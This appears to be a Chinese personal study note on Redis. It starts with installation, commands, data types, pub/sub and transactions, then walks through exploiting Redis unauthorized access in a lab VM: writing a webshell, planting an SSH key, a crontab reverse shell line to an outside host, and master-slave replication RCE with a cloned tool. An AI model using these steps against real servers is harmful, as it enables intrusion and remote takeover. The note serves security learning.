基础
Ubuntu apt 命令安装
在 Ubuntu 系统安装 Redis 可以使用以下命令:
1 | sudo apt update |
启动 Redis
1 | # redis-server |
查看 redis 是否启动?
如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli 命令。
1 | $ redis-cli -h host -p port -a password |
1 | # redis-cli |
以上命令将打开以下终端:
1 | redis 127.0.0.1:6379> |
127.0.0.1 是本机 IP ,6379 是 redis 服务端口。现在我们输入 PING 命令。
1 | redis 127.0.0.1:6379> ping |
以上说明我们已经成功安装了redis。
Redis 配置
编辑配置
你可以通过修改 redis.conf 文件或使用 CONFIG set 命令来修改配置。
如 CONFIG SET loglevel “notice”
Redis 数据类型
set 定义 get 查看
不能重复定义
String
Hash(哈希)
Redis hash 是一个键值(key=>value)对集合。
Redis HMSET, HGET 命令,HMSET 设置了两个 field=>value 对, HGET 获取对应 field 对应的 value。
List(列表)
利用 Lpush key value Lrange key start end
Set(集合)
sadd 命令
添加一个 string 元素到 key 对应的 set 集合中,成功返回 1,如果元素已经在集合中返回 0。
1 | sadd key member |
发布订略
两个终端
其中一个创建一个 终端
创建一个 创建了订阅频道
SUBSCRIBE jly
另一个终端发送信息
PUBLISH jly "this is string2"
事务
一个事务从开始到执行会经历以下三个阶段:
- 开始事务。
- 命令入队。
- 执行事务。
它先以 MULTI 开始一个事务, 然后将多个命令入队到事务中, 最后由 EXEC 命令触发事务
脚本
1 | EVAL script numkeys key [key ...] arg [arg ...] |
redis 未授权访问漏洞
基础链接远程 redis
修改虚拟机的 redis.conf /etc/redis/redis.conf
中
redis-server /etc/redis/redis.conf
链接远程 redis
链接 虚拟机的 redis
redis-cli -h 172.16.22.154
利用 info 查看版本信息
利用 redis 写入 webshell
写入 webshell
绕写入 webshell 我们先设置 html/ 目录为 777
1 | 依次输入命令 想web 目录下写入 test.php |
看看虚拟机 文件写上了
能够访问
写入 ssh 公钥
首先在 虚拟机里面写一对密钥
然后利用 攻击机器访问
1 | config set dir /root/.ssh/ |
写入 反弹shell
写crontab来执行命令反弹shell
1 | set x "\n* * * * * bash -i >& /dev/tcp/47.95.xxxx/8888 0>&1\n" |
服务器监听
ubantu写入会出现乱码和不回弹的情况
centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
利用 redis 主从复制得到 shell
1 | git clone https://github.com/Ridter/redis-rce.git |
利用项目中的 module.so 文件
受害机器 为 从机 利用 slaveof
攻击机器 为 主机
利用主从复制。
讲 主机的 module.so 文件复制到 从机
然后利用 redis 实现 调用。
可以通过FULLRESYNC将任意文件同步到从节点
https://www.cnblogs.com/xiaozi/p/13089906.html
1.本地编译好外部扩展即so文件
2.把so文件转码存入本地redis数据库
3.到目标服务器上设置主从关系,主服务器指定我们的本地机子
4.待同步后,设置备份路径和备份文件名(xx.so)
5.开始同步,备份数据库
6.然后加载备份数据库
7.然后就可以通过redis执行命令反弹shell了